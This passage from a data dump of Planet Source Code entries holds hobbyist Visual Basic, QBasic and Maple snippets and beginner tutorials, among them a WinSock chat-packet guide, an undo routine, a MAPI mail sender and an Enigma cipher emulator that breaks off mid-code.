href=\"http://trider.8m.com/files/bitset.txt\">here</a>"},{"WorldId":1,"id":22269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22261,"LineNumber":1,"line":"CLS\nON ERROR GOTO ending\nt1$ = \"Equation Calculator 2.3.5\"\nt2$ = \"By ePuter\"\nLOCATE 1, 40 - LEN(t1$) / 2: PRINT t1$\nLOCATE 2, 40 - LEN(t2$) / 2: PRINT t2$\nPRINT\nPRINT \" Welcome! The program allows you\"\nPRINT \"to enter any equation containing\"\nPRINT \"a parentheses ( or ), power as ^\"\nPRINT \"*, /, +, -, ., and/or a negation\"\nPRINT \"and will give you a step-by-step\"\nPRINT \"solution according to the prior-\"\nPRINT \"ity of the operations.\"\nPRINT \" The program will not understand\"\nPRINT \"spaces or any other characters.\"\nPRINT \"Enjoy it!\"\nPRINT : PRINT \"Example: 120*-(6+2/(4/2)^3)+60*(54-5)^(1/2)\"\nPRINT : PRINT\nINPUT \"Enter the equation: \", maineqzn$\nPRINT\nPRINT maineqzn$\npower = 0\nmultiply = 1\ndivide = 2\nadd = 3\nsubtract = 4\nDO\n p = 1\n DO\n c1 = INSTR(p, maineqzn$, \"(\")\n IF c1 = 0 THEN eqzn$ = maineqzn$: EXIT DO\n c2 = INSTR(c1 + 1, maineqzn$, \"(\")\n c3 = INSTR(maineqzn$, \")\")\n IF c3 < c2 OR c2 = 0 THEN eqzn$ = MID$(maineqzn$, c1 + 1, c3 - c1 - 1): EXIT DO ELSE p = c1 + 1\n LOOP\n DO\n IF INSTR(eqzn$, \"E\") <> 0 THEN EXIT DO\n a = INSTR(eqzn$, \"^\"): opr = power\n IF a = 0 THEN a = INSTR(eqzn$, \"*\"): opr = multiply\n IF a = 0 THEN a = INSTR(eqzn$, \"/\"): opr = divide\n IF a = 0 THEN a = INSTR(eqzn$, \"+\"): opr = add\n IF a = 0 THEN a = INSTR(eqzn$, \"-\"): opr = subtract\n IF a = 1 THEN\n a = INSTR(a + 1, eqzn$, \"-\"): IF a = 0 THEN EXIT DO\n END IF\n IF a = 0 THEN EXIT DO\n i1 = a - 1\n DO\nrepeat1:\n i1 = i1 - 1\n IF i1 <= 0 THEN i1 = 0: GOTO found1\n b$ = MID$(eqzn$, i1, 1)\n SELECT CASE VAL(b$)\n CASE 1 TO 9: GOTO repeat1\n CASE 0:\n SELECT CASE b$\n CASE \".\": GOTO repeat1\n CASE \"0\": GOTO repeat1\n CASE \"-\": i1 = i1 - 1: GOTO found1\n CASE ELSE: GOTO found1\n END SELECT\n END SELECT\n LOOP\nfound1:\n i1 = i1 + 1\n num1 = VAL(MID$(eqzn$, i1, a - i1))\n i2 = a + 1\n DO\nrepeat2:\n i2 = i2 + 1\n IF i2 >= LEN(eqzn$) THEN i2 = LEN(eqzn$) + 1: GOTO found2\n b$ = MID$(eqzn$, i2, 1)\n SELECT CASE VAL(b$)\n CASE 1 TO 9: GOTO repeat2\n CASE 0:\n SELECT CASE b$\n CASE \".\": GOTO repeat2\n CASE \"0\": GOTO repeat2\n CASE ELSE: GOTO found2\n END SELECT\n END SELECT\n LOOP\nfound2:\n i2 = i2 - 1\n num2 = VAL(MID$(eqzn$, a + 1, i2 - a))\n SELECT CASE opr\n CASE power: num = num1 ^ num2\n CASE multiply: num = num1 * num2\n CASE divide:\n IF num2 = 0 THEN PRINT : PRINT \"Warning: Division by zero.\": END ELSE num = num1 / num2\n CASE add: num = num1 + num2\n CASE subtract: num = num1 - num2\n END SELECT\n IF num >= 0 THEN\n num$ = MID$(STR$(num), 2)\n ELSE\n num$ = STR$(num)\n END IF\n IF num1 < 0 THEN\n IF num >= 0 AND i1 > 1 THEN num$ = \"+\" + num$\n END IF\n eqzn$ = LEFT$(eqzn$, i1 - 1) + num$ + RIGHT$(eqzn$, LEN(eqzn$) - i2)\n IF c1 = 0 THEN\n PRINT eqzn$\n ELSE\n PRINT LEFT$(maineqzn$, c1) + eqzn$ + RIGHT$(maineqzn$, LEN(maineqzn$) - c3 + 1)\n END IF\n IF num < 0 THEN\n IF eqzn$ = STR$(num) THEN EXIT DO\n ELSE\n IF eqzn$ = MID$(STR$(num), 2) THEN EXIT DO\n END IF\n LOOP\n IF c1 <> 0 THEN\n maineqzn$ = LEFT$(maineqzn$, c1 - 1) + eqzn$ + RIGHT$(maineqzn$, LEN(maineqzn$) - c3)\n PRINT maineqzn$\n END IF\nLOOP UNTIL c1 = 0\nEND\nending:\nPRINT : PRINT \"Warning: Syntax error or overflow.\": END\n"},{"WorldId":1,"id":24025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22320,"LineNumber":1,"line":"Organising \n Communication with WinSock\n[Introduction] \n \n \nHi. \n This is my first tutorial so it may be a little bad, but I hope I can help you \n out a little. This tutorial is for basic to intermediate coders and will explain \n a little on communication between 2 programs such as a chat program. Now you \n may have seen a lot of chat programs on here some are good some are just basic \n and ONLY do chat, in the latter the two programmes will be just sending text \n between one another. This tutorial will teach you how to organise your data \n packets and allow your chat program (or any other type of communication program) \n to do a lot more that just send text. \n \n Notice: I'm sorry that teh code is not indented properly. dam word doesnt copy \n and paste properly and I can add spaces using dream weaver so I hope you can \n make do. \n \nUpdated \n Data is in Blue: This Information is for new coders that dont quite understand \n what I'm doing and I think if I was in there shoes I would agree with them. \n The sections in blue will explain what exactly we are doing and how to do it.\nI \nhave included a fully documented example project that will help you see what is \ngoing on in the code and how it all works. \nWhat \n we are going to do. We are going to start off by learning how data packets are \n formed or better put, how you the coder should organise the information you \n tell your programs to tell each other. Then we will cover how to make your datatypes. \n These datatypes hold the key to the data and allow the program to understand \n exaclty what is has been given. thirdly we will cover how to make sending packets \n of data faster and easier in the long run. we will then learn how to unscramble \n merged data that can be a problems for both new and experenced Programmers. \n We will then learn how out programs can quickly and easilly decipher what it \n has been given. \n \n NOTE: \n the code in this artical is related to Visual Basic Version 5 and 6. it has \n not been tested for any other platform \n \n \n \n Okay so lets begin. First off let me explain how I organise my data packets\n \n [Data Packet Structure] \nWhen \n my chat program sends data the data is in 2 parts, the Data Type and the Data. \n For example: \n┬¼04HELLO! \n \nPart \n 1 (Data Type): \nThe \n first two numbers tells the recipient program what the data is. Say if the number \n is 04 then it could mean, \"Here is a message for you\" or if its 07 the it could \n mean \"My nick name is: \" \nPart \n 2 (Data) \nThis \n is the data that goes with the packet. What the recipient program does with \n it is dependant on the Data Type \nYou \n may have noticed the \"┬¼\" symbol. Don't worry its actually part \n of the data packet and not another instance of bad English / Typing. All will \n be relieved later on. \n \n[Setting \n the Types] \n \nOkay \n so now we know how the packets are formed. Now we need to code the data types \n so that its easier later on to do stuff. Here is how you would set your data \n types in a module file (or whatever). \nA \n Module file is a file that is used to store code. It allows coders to organise \n files alot easier and put certain code into certain, relivent files. To create \n a module file goto to the menu bar, choose \"Project\" then choose \"Add \n module\". \n \n =================== \n \nPublic \n Enum DataTypes \n MESSAGE = 0 \n NICKNAME = 1 \n End enum \n \n =================== \n \n An Enum is like the type Boolean (True or false) with \n boolean if you choose TRUE then the number is set to 1 becuase that is how its \n defined. it you choose FALSE then the number is set to 0. With the Enum statement \n we can make our very own boolean type, type. \n \n Okay so you've entered in the code above, now we have a type called DataTypes, \n to test it hit the enter button and type \n \n DIM TESTVARABLE as DataTypes\nNow \n type in \n TESTVARABLE = now a menu should \n come down and you can select which one you want and it will right it in for \n you. \n \n I'm not going to put a lot of types on here. My chat program has about 22 so \n far. But for this tutorial these two will do fine. Now I'm assuming you already \n know how to connect two computers together using winsock so I'm not going to \n go into that. If you need help then there are plenty of good examples and tutorials \n on the basics of winsock on this web site. \n[Making \n a Fast Send Sub Routine] \nSo \n we have our data types ready. Now we can code a really cool Sub that can really \n speed up sending data (coding wise) \n=================== \n \nPublic \n Sub Send_Data(dType As DataTypes, Optional dData As String) \n Dim oData As String \n Dim oType As String \n Dim oAll As String \n \n oType = dType \n If Len(oType) < 2 Then \n oType = \"0\" & dType \n Else oType = dType \n End If \n \n oData = dData \n oAll = \"┬¼\" & oType & oData \n \n If WINSOCKCONTROL.State <> sckConnected \n Then MsgBox \"ERROR: Not Connected\", vbCritical, \"No Connection\" \n Exit Sub \n End If \n \n WINSOCKCONTROL.SendData (oAll) \n End Sub \n \n =================== \n \n Okay basically this is used so that if you want to send a message you can do \n it with one line of code and do it really fast. It also brings up a really cool \n menu for choosing the data type. It also makes sure the data type uses 2 characters \n so if the number for the type is less than 10 then it adds the character \"0\" \n to the beginning and then the single digit afterward. Its basically used so \n that its always 2 characters and can be easily ripped out of the data packet \n later on. \n \n Okay so you've sent the data. Now you need something to decipher it on the other \n side. But first I think its time I explained what the \"┬¼\" is for. Now when \n I started playing around with my chat program on the Internet I found that the \n data was getting merged together. Basically sometimes two data packets merged \n to look something like this 02Hi04David. When this happened my program went \n to find the data type \"02\" then sent the message \"hi04david\" which was annoying \n because the 04david was supposed to be a nickname and not a message. So any \n ways back to the point. \n \n [Splitting merged data packets] \n \n I came up with the idea of adding a symbol to the beginning of all the packets \n then splitting the packets up after every \"┬¼\" symbol. It took a while to \n figure out but I managed it… so here the code to do it…. By the way there is \n a reference to the Incoming_Data Sub, which we will cover afterwards. \n \n =================== \n \n Public Sub Split_Packet(iData As String) \n Dim sPackS As Integer \n Dim sPackE As Integer \n Dim i As Integer \n Dim j As Integer \n Dim sLast As Integer \n Dim sType As DataTypes \n Dim sData As String \n Dim sAllData As String \n \n For i = 1 To Len(iData) \n \n If Mid(iData, i, 1) = \"┬¼\" Then \n sPackS = i + 1 \n \n For j = sPackS To Len(iData) \n \n If (j = Len(iData)) And Mid(iData, j, 1) <> \"┬¼\" Then \n \n sPackE = Len(iData) \n sAllData = Mid(iData, sPackS, sPackE) '- (sPackS + 1))) \n \n If Len(sAllData) < 3 Then \n sType = sAllData \n Else \n \n sType = Mid(sAllData, 1, 2) \n sData = Mid(sAllData, 3, (Len(sAllData) - 2)) \n \n End If \n Call incoming_data(sType, sData) \n Exit Sub \n \n ElseIf Mid(iData, j, 1) = \"┬¼\" Then \n \n sPackE = (j - 2) \n sAllData = Mid(iData, sPackS, (sPackE - sPackS) + 2) \n \n If Len(sAllData) < 3 Then \n sType = sAllData \n Else \n \n sType = Mid(sAllData, 1, 2) \n sData = Mid(sAllData, 3, (Len(sAllData) - 2)) \n End If \n \n Call incoming_data(sType, sData) \n \n Exit For \n \n End If \n \n Next j \n \n End If \n \n Next i \n \n End Sub \n \n===================\nThe \n symbol \"┬¼\" is used by holding shift and then the button next to \n the number 1. It can be any symbol you wish, but I chose this symbol becuase \n I felt that it would not be used by the people testing the program and so I \n would be safe using it. \n \n Okay all this does it constantly loops around until it's found all the merged \n packets (if any) then send it to another sub to be processed. \n \n Now if you're actually an expert at Winsock and wonder why I just didn't just \n use the \"send complete\" event in Winsock. Well its because it kind of freezes \n up when u have 30 connections and it gets really slow doing it that way. \n \n [Processing the Incoming Data] \n \n Okay we've now sorted the data now we need to do something with it. This is \n where incoming_data comes in. Basically all we do here is do a select case statement \n on the incoming data type. Then do something with the data. \n \n =================== \n \n Public Sub incoming_data(iType As DataTypes, iData As \n String) \n \n Select Case iType \n Case DataTypes.MESSAGE \n 'send the data or message to the textbox \n txt_dialog.Text = txt_dialog.Text & iData & vbCrLf \n Case DataTypes.NICKNAME \n 'set the remote users nickname as the data \n lbl_usernick.caption = idata \n end select \n \n =================== \n \n So you now need to know the steps what you should do on \n a Data_Arival Event in winsock it is this.... \n >ON - DATA_ARRIVAL_WINSOCK> \n >SEND THE DATA TO > \n >SPLIT_PACKET > \n >SEND THE PACKETS TO> \n >INCOMING_DATA \n > \n >DO SOMETHING WITH THE DATA AND ITS TYPE. \n \n Now I mean this is quite basic what I've shown you here. But you can add new \n data types and do new things on that type of data. There is no limit to how \n many you want. Although don't go over 100 type if your using my code… come to \n think of it. If you manage to get over 100 individual types email me or post \n a comment because I don't believe its possible…. hehe…. I have multi channels \n and multi users and I've only got 22 types! Anyway I hope this tutorial has \n helped you a little. or if ya want to tell me how to do sothing proberly then \n please tell me becuase I've only recently started on VB \n \n Please leave a comment if you need any help or u would like to thank me or if \n you want to tell me that I'm wrong or if there is an error in the code. Thanks \n \n oh btw, I'll be uploading the Simple Chat 2.8 as soon as I comment the code. \n It uses what I have shown you above and a little more. ;) so watch out for it. \n I'm also doing something I havent seen on here. so keep ya eye out. \n \n Thanks for reading \n \n CrAKiN-ShOt \n <a href=\"mailto:crakinshot@hotmail.com\">crakinshot@hotmail.com </a>\n"},{"WorldId":1,"id":22326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30331,"LineNumber":1,"line":"Private Sub cmdDelete_Click()\nDim i As Integer\n \n With Listview1\n \n ' The trick: We step backwards through \n ' the array.\n ' The reason you always get an 'out of \n ' bound' error is because at a certain \n ' point the value of i will equal 0,\n ' or be greater than the number of rows\n ' left. (We set i with the initial\n ' row.count, and then start deleting\n ' from that count).\n ' We avoid that by stepping\n ' backwards :)\n For i = .ListItems.Count To 1 Step -1\n If .ListItems(i).Checked Then\n .ListItems.Remove (i)\n End If\n Next i\n End With\nEnd Sub"},{"WorldId":1,"id":32122,"LineNumber":1,"line":"Dim SQL As String\n Set RS = New Recordset\n Set CN = New Connection\n Dim rsChild As Variant\n \n ' Define SQL String\n \n ' The statement between the first pair of brackets defines the\n ' Parent-recordset.\n ' The statement between the second pair of brackets defines the\n ' child-recordset. The WHERE clause contains a questionmark, which\n ' identifies this as a parameterised value.\n \n ' The RELATE statement defines which columns the recordsets connect with.\n ' In this case, PARAMETER 0 points back to the questionmark used earlier.\n ' Basically this is the equivalent of the JOIN .. ON statement in T-SQL.\n \n ' For more info about hierarchical recordset creations look here:\n ' http://support.microsoft.com/default.aspx?scid=kb;en-us;Q189657\n SQL = \"SHAPE {SELECT FirstName, LastName, EmployeeID FROM employees} APPEND ({SELECT OrderID FROM orders WHERE EmployeeID = ?} AS Orders RELATE EmployeeID TO PARAMETER 0)\"\n \n ' Open connection\n ' We use MSDataShape because of the hierarchical recordset.\n ' Change Servername to your own SQL-Server, and alter the login-ID / password\n CN.Open \"Provider=MSDataShape;Driver={SQL Server};Server=RNT07;Database=NorthWind\", \"sa\", \"\"\n RS.Open SQL, CN\n \n ' The following part can be used for debugging purposes\n ' It will spit the Recordset records into the Immediate Window (CTRL + G)\n '\n \n 'While Not RS.EOF\n ' Debug.Print RS(\"FirstName\"), RS(\"Lastname\")\n ' rsChild = RS(\"Orders\")\n ' While Not rsChild.EOF\n ' Debug.Print rsChild(0)\n ' rsChild contains just one column.\n ' If you'd have more columns\n ' simply add ,rsChild(1) etc\n ' rsChild.MoveNext\n ' Wend\n ' RS.MoveNext\n 'Wend\n \n Set MSflexGrid1.DataSource = RS\n \n ' Close Recordset object and destroy it\n RS.Close\n Set RS = Nothing\n \n ' Close Connection object and destroy iy\n CN.Close\n Set CN = Nothing"},{"WorldId":1,"id":22347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23587,"LineNumber":1,"line":"A speedy way to set the tab order is to work thru the controls in reverse order setting the tab stop property to 0 on each. When you reach the first control the tab order is set.\nWhen setting the same property on successive controls there is no need to bounce from the form to the property page. Once the focus is set to that property the first time it remains on that property (if available) with each object that receives focus from that point. In the above example setting the tab stop would be... control.. 0, control... 0, control... 0.\nTo get the effect of setting focus to a control by clicking on it's label, as in Access, simply set the tab stop for the label as the next in order before the control that it labels. Since a label can't receive focus at run time the focus goes to the next object in tab order that can receive focus."},{"WorldId":1,"id":23554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27692,"LineNumber":1,"line":"Searching planet-source-code for 'UDL' resulted into nothing to my surprise. That's why I want to explain the basic use of it for your information and also hoping soon there will be some more articles or code-examples this subject.\n1. Creating an UDL file.\nCreate a new textfile on your desktop and rename it as 'MyFirstUDL.udl'. Having done that you'll see that the icon has changed. Double-click it and voila! You can setup a dataconnection to any database and it works just like creating a DSN-connection.\n2. Using an UDL file.\nNo you can reference this file from your code like this:\nSet cnn = New ADODB.Connection\ncnn.open \"File Name=C:\\...\\Desktop\\MyFirstUDL.udl\"\n3. What's the use?\nYou can add this file to your setup-project. So if your program has to change dynamically to another database you just have to call the UDL file, make the proper adjustments via the UDL-interface and reconnect to the database via the UDL.\nI hope you find this as usefull as I did. I was searching for a peace of code wich builds UDL-files from the ground up. I anybody knows where to find code like this pleace mail me! Or else I have to build it myself... and I'm a lazy programmer! ;-)\n"},{"WorldId":1,"id":26398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22628,"LineNumber":1,"line":"'Written by littlegreenrussian\nSub optDecimalButton_click() 'decimal checkbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSub optHexButton_click() 'hexadecimal checkbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSub optOctalButton_click() 'octalcheckbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSubtxtNumber_Change()\n'Val function - numbers beginning with &O as octal,\n'numbers beginning with &H as hexadecimal\nIf optOctalButton.Value = True Then 'octal button checked\n\tCurrentNum = Val(\"&O\" & LTrim(txtNumber.Text)& \"&\") 'change the number to octal\nElse if optDecimal.Value = True Then 'decimal checked\n\tCurrentNum = Val(LTrim(txtNumber.Text)& \"&\") 'change number to deciaml - note it does NOT require a &D\nElse 'otherwise\n\tCurrentNum = Val(\"&H\" & LTrim(txtNumber.Text)& \"&\") 'change it to hexadecimal\n\tEnd If\nEnd Sub"},{"WorldId":1,"id":22602,"LineNumber":1,"line":"'***********************\n'By littlegreenrussian *\n'***********************\nPrivate Sub Command1_Click() 'user clicks send\n\tOn Error GoTo mailerr: 'go to the error handling bit if there is an error\n\t\tMAPISession1.SignOn 'sign on\nIf MAPISession1.SessionID <> 0 Then 'signed on\nWith MAPIMessages1\n\t.SessionID = MAPISession1.SessionID\n\t.Compose 'start a new message\n.AttachmentName = \"...\" 'attachment name\n\t.AttachmentPathName = Text1 ' attachment path (get this from the text box or a default dirrectory)\n\t.RecipAddress = Text2 'set the receiver's email to the one they specified (again, text box or a default address)\n.MsgSubject = \"...\" 'set the subject\n.MsgNoteText = \"............\" 'message text\n\t.Send False 'don't display a dialog saying it was sent\n\t\t\n\t\tEnd With\n\t\t\tExit Sub\n\t\t\t\tEnd If\n\tmailerr: 'error handling\n\t\tMsgBox \"Error \" & Err.Description\n\tEnd Sub\n"},{"WorldId":1,"id":22442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22456,"LineNumber":1,"line":"''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''' A BETTER MULTIPLE UNDO\n''' Copyright (C) 2001 Taras Young\n''' http://www.snowblind.net/\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'''\n''' Paste this code into a form, and add a Textbox (Text1) and\n''' two command buttons (cmdUndo and cmdRedo).\n'''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'''\n''' If you want to use a RichTextBox, uncomment the lines\n''' marked \"for richtextboxes\" and comment out the lines\n''' marked \"for normal textboxes\" (obviously).\n'''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nDim UndoStack() As String, UndoStage, Undoing\nPrivate Sub cmdRedo_Click()\nUndoing = True\n UndoStage = UndoStage + 1\n Text1.Text = UndoStack(UndoStage) 'for normal textboxes\n' Text1.rtfText = UndoStack(UndoStage) 'for richtextboxes\nUndoing = False\n\nEnd Sub\nPrivate Sub cmdUndo_Click()\nUndoing = True 'prevent doubling-up\n UndoStage = UndoStage - 1 'go back a stage\n If UndoStage <= 0 Then UndoStage = 0 'protection from errors\n \n'For normal textboxes, use:\n Text1.Text = UndoStack(UndoStage) 'replace current text with\n 'new text\n''For richtextboxes, use:\n' Text1.rtfText = UndoStack(UndoStage) 'replace current text with\n' 'new text\n\nUndoing = False\nEnd Sub\nPrivate Sub Form_Load()\nReDim UndoStack(0) 'must be redimmed for UBound to work\nEnd Sub\nPrivate Sub Text1_Change()\n' Records the last changes made\nReDim Preserve UndoStack(UBound(UndoStack) + 1) 'increase the stack size\n'For normal textboxes:\nUndoStack(UBound(UndoStack)) = Text1.Text 'add the current state\n''For richtextboxes:\n'UndoStack(UBound(UndoStack)) = rtfText1.Text 'add the current state\nIf Not Undoing Then UndoStage = UndoStage + 1 'change the current stage\nEnd Sub\n"},{"WorldId":1,"id":22527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31269,"LineNumber":1,"line":"Visit us at: \n\n<a style=\"font-family: Verdana; color: #800000; text-decoration: none; font-size: 8pt\" title=\"VBParadise.com\" href=\"http://www.vbparadise.com\">\nhttp://www.vbparadise.com</a>\nThe Enigma Machine\n \nIntroduction \nThe Enigma machine, created by the German inventor Arthur Scherbius, was used as \nGermany's system of encryption before and during World War II. This worksheet \nemulates a version of the Enigma machine. \n \nThe three main components of the Enigma machine were a plugboard, three \nscramblers, and a reflector. \n \nThe plugboard was used to swap six pairs of letters before they entered the guts \nof the machine. For example, if I swapped letters 'a' and 'b', and then typed in \nthe letter 'b', it would follow the encryption path originally associated with \nthe letter 'a'. \n \nThe scrambler, a thick rubber disk filled with wires, was the most important \npart of the machine. Each scrambler was essentially a monoalphabetic cipher, \nwhich encrypted one plaintext letter to a ciphertext letter. Each letter that \nwas typed into the keyboard of the Enigma, passed through three scramblers, so \nwas encrypted three times. The most important feature of the scramblers was that \nafter each letter was encrypted, they would change their orientation to create a \nnew cipher in the following manner. The first scrambler would rotate 1/26 of a \nrevolution, and after one whole revolution, it would turn the second scrambler \n1/26 of a revolution. After one whole revolution of the second scrambler, it \nwould eventually turn the third scrambler one notch. This is a similar to a car \nodometer, the rotor representing single km has to rotates once completely before \nthe rotor representing 10's of km rotates by one unit. Because of this rotation \nof three scramblers, the cipher text obtained after typing in the same letter \nconsecutively would only repeat itself after the 17,576th letter. \n \nThe last part of the Enigma machine was the reflector, which was a little bit \nlike the scramblers, but it did not rotate, and the wires entered and exited \nthrough the same side. So if a letter 'a' goes into the reflector, it might come \nout as a letter 's', and then get sent back through the three scramblers in \nreverse order, through the plugboard, and finally show up as the encrypted \nletter. The reflector allows users to use the Enigma in the same way for both \nencrypting and decrypting messages. \n \nBecause of the changing nature of the machine, sender and receiver must agree on \na set of keys, or initial conditions, before communicating with the Enigma. On \nthe actual Enigma machine, the three scramblers could be interchanged, meaning \nthat there were 6 different orders that they could be positioned in. (123, 132, \n213, 231, 312, 321) Also, each scrambler could be rotated to any one of 26 \ninitial orientations, yielding 26*26*26 = 17,576 different settings. Also the \nnumber of ways of swapping six pairs of letters out of 26 is 100,391,791,500! So \nthe total number of keys available is 6*17,576*100,391,791,500 = \n10,586,916,764,424,000!! \n \nCode \n> restart; \n \nGiven a seed, this will create a scrambler with random internal wiring. \n \n> makeScrambler := proc(seed) \nlocal numGen, i, j, num, scrambler; \nscrambler := []; \nrandomize(seed); \nnumGen := rand(1..26); \nfor i from 1 to 26 do \nnum := numGen(); \nfor j while member(num, scrambler) do \nnum := numGen(); \nend do; \nscrambler := [op(scrambler),num]; \nend do; \nend proc: \nGiven a seed, this will create a reflector with random internal wiring. \n> makeReflector := proc(seed) \nlocal num, pos, i, j, reflector, numGen, temp; \nreflector := table(); \nrandomize(seed); \nnumGen := rand(1..26); \ntemp := [ entries(reflector) ]; \nfor i while nops(temp) <> 26 do \npos := numGen(); \nfor j while member([pos],temp) do \npos := numGen(); \nend do; \nnum := numGen(); \nfor j while member([num],temp) or num = pos do \nnum := numGen(); \nend do; \nreflector[pos] := num; \nreflector[num] := pos; \ntemp := [ entries(reflector) ]; \nend do; \nfor i from 1 to 26 do \ntemp[i] := temp[i][1]; \nend do; \ntemp; \nend proc: \nThis will rotate a scrambler passed in by list, by making the n'th letter in the \nlist the first letter. \nEx: list := [1, 2, 3, 4, 5]; \nlist := rotate(list, 3); \nlist; \n[3, 4, 5, 1, 2] \n> rotate := proc(list, n) \nlocal i, toReturn, rotateBy; \ntoReturn := []; \nrotateBy := n - 1; \nfor i from 1 to 26 do \nrotateBy := rotateBy + 1; \ntoReturn := [op(toReturn),list[((rotateBy - 1)mod 26) + 1]]; \nend do; \nend proc: \nThis will create three scramblers, position them in the order given by \nscramOrder, arrange them according to orientation, and create a plugboard \naccording to plugSettings. It will then encrypt or decrypt (the processes are \nthe same) message and return the result. \n \n> enigma := proc(message, scramOrder, orientation, \nplugSettings) \nlocal i, scramblers, scram1, scram2, scram3, letter1, letter2, letter3, \nplainText, \npair1, pair2, pair3, pair4, pair5, pair6, plugboard, reflector, cipherText, \ntoReturn, \nplugIndex, plugEntry; \nplainText := StringTools[LowerCase](message); \nplainText := convert(plainText, bytes); \nscramblers := [ makeScrambler(456), makeScrambler(504), makeScrambler(607) ]; \nscram1 := scramblers[scramOrder[1]]; \nscram2 := scramblers[scramOrder[2]]; \nscram3 := scramblers[scramOrder[3]]; \nletter1 := convert(StringTools[LowerCase](orientation[1]),bytes)[1] - 96; \nletter2 := convert(StringTools[LowerCase](orientation[2]),bytes)[1] - 96; \nletter3 := convert(StringTools[LowerCase](orientation[3]),bytes)[1] - 96; \nscram1 := rotate(scram1, letter1); \nscram2 := rotate(scram2, letter2); \nscram3 := rotate(scram3, letter3); \npair1 := convert(StringTools[LowerCase](plugSettings[1]),bytes); \npair2 := convert(StringTools[LowerCase](plugSettings[2]),bytes); \npair3 := convert(StringTools[LowerCase](plugSettings[3]),bytes); \npair4 := convert(StringTools[LowerCase](plugSettings[4]),bytes); \npair5 := convert(StringTools[LowerCase](plugSettings[5]),bytes); \npair6 := convert(StringTools[LowerCase](plugSettings[6]),bytes); \nplugboard := table([(pair1[1] - 96) = pair1[2] - 96, (pair2[1] - 96) = pair2[2] \n- 96, \n(pair3[1] - 96) = pair3[2] - 96, (pair4[1] - 96) = pair4[2] - 96, \n(pair5[1] - 96) = pair5[2] - 96, (pair6[1] - 96) = pair6[2] - 96]); \nplugIndex := [indices(plugboard)]; \nplugEntry := [entries(plugboard)]; \nfor i from 1 to 6 do \nplugIndex[i] := plugIndex[i][1]; \nplugEntry[i] := plugEntry[i][1]; \nend do; \nreflector := makeReflector(978); \ncipherText := encode(plainText, plugIndex, plugEntry, scram1, scram2, scram3, \nreflector); \ntoReturn := convert(cipherText, bytes); \nend proc: \n> encode := proc(plainText, plugIndex, plugEntry, scrm1, scrm2, scrm3, \nreflector) \nlocal i, scram1, scram2, scram3, pos1, pos2, pos3, letter, response; \nscram1 := scrm1; scram2 := scrm2; scram3 := scrm3; \npos1 := 1; pos2 := 1; pos3 := 1; \nresponse := []; \nfor i from 1 to nops(plainText) do \nletter 